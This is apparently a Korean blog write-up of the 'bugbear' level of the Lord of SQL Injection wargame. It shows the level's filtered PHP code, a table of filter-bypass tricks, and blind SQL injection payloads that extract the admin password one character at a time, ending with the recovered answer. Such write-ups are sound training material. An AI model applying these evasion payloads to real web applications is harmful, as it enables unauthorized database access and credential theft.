klaus

[Lord of SQL Injection] bugbear 13번 본문

모의해킹/Wargame

[Lord of SQL Injection] bugbear 13번

klus! 2022. 12. 21. 15:26

0. 버그베어

난 진짜 리니지를 좋아했었나, 생각나는 건 리니지 밖에 없었다.....

 

1. 전체 코드

 

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

 

 

2. 주요 코드 분석

if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
   
$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");

1) preg_match 함수를 통한 필터링

> prob, substr, ascii, or, and, like, 0x 문자열과 특수문자 _ . () = (공백) 그리고 ' 를 필터링하고 있습니다.

/i는 대소문자를 구분하지 않습니다.

2) 이번 문제 역시 정확한 PW를 알아야 Sovle

 

 

3. Sovle 

 

필터링 함수를 우회할 수 있는 방법을 찾아보니 아래와 같은 방법으로 우회가 가능하였습니다.

필터링 함수 우회 필터링함수 우회
substr mid or ||
공백 %09 and &&
 = , like in 사용시 괄호()안에 데이터 ascii hex

 

먼저, PW의 길이 파악을 하겠습니다.

 

기본페이로드값 : ?no=1%09||%09id%09in("admin")%09%26%26%09 (SQL)

?no=1%09||%09id%09in("admin")%09%26%26%09length(pw)%09in(8) 1부터 8까지 데이터를 입력하였을 때 8에서 참값이 나왔습니다.

그럼 이제 중요한 패스워드의 값을 확인해 보겠습니다. 이번 문제의 경우 손수 풀어보도록 하겠습니다.

문제를 풀 때 참 또는 거짓값을 빨리 찾기 위해 업/다운 방식을 사용하여 문제를 풀었습니다.(>, <) 

hex: ascii우회 방법은 아스키와 같음

Mid :개체의 문자열에서 지정한 중간 부분의 문자열 추출

사용방법은 Mid(원본문자열, 시작위치, 길이)를 적어 사용하면 됩니다. substring와 비슷합니다.

스포주의!

더보기

?no=1%09||%09id%09in("admin")%09%26%26%09hex(mid(pw,1,1))%09in(35)

?no=1%09||%09id%09in("admin")%09%26%26%09hex(mid(pw,2,1))%09in(32)

?no=1%09||%09id%09in("admin")%09%26%26%09hex(mid(pw,3,1))%09in(64)

?no=1%09||%09id%09in("admin")%09%26%26%09hex(mid(pw,4,1))%09in(63)

?no=1%09||%09id%09in("admin")%09%26%26%09hex(mid(pw,5,1))%09in(33)

?no=1%09||%09id%09in("admin")%09%26%26%09hex(mid(pw,6,1))%09in(39)

?no=1%09||%09id%09in("admin")%09%26%26%09hex(mid(pw,7,1))%09in(39)

?no=1%09||%09id%09in("admin")%09%26%26%09hex(mid(pw,8,1))%09in(31)

 

?pw=53dc3991

hex 코드 참고 : https://www.online-toolz.com/langs/ko/tool-ko-text-hex-convertor.html

 

텍스트를 16진수로 변환 - 온라인 도구

In mathematics and computer science, hexadecimal (also base 16, or hex) is a positional numeral system with a radix, or base, of 16. It uses sixteen distinct symbols, most often the symbols 0–9 to represent values zero to nine, and A, B, C, D, E, F (or a

www.online-toolz.com

 

 

Comments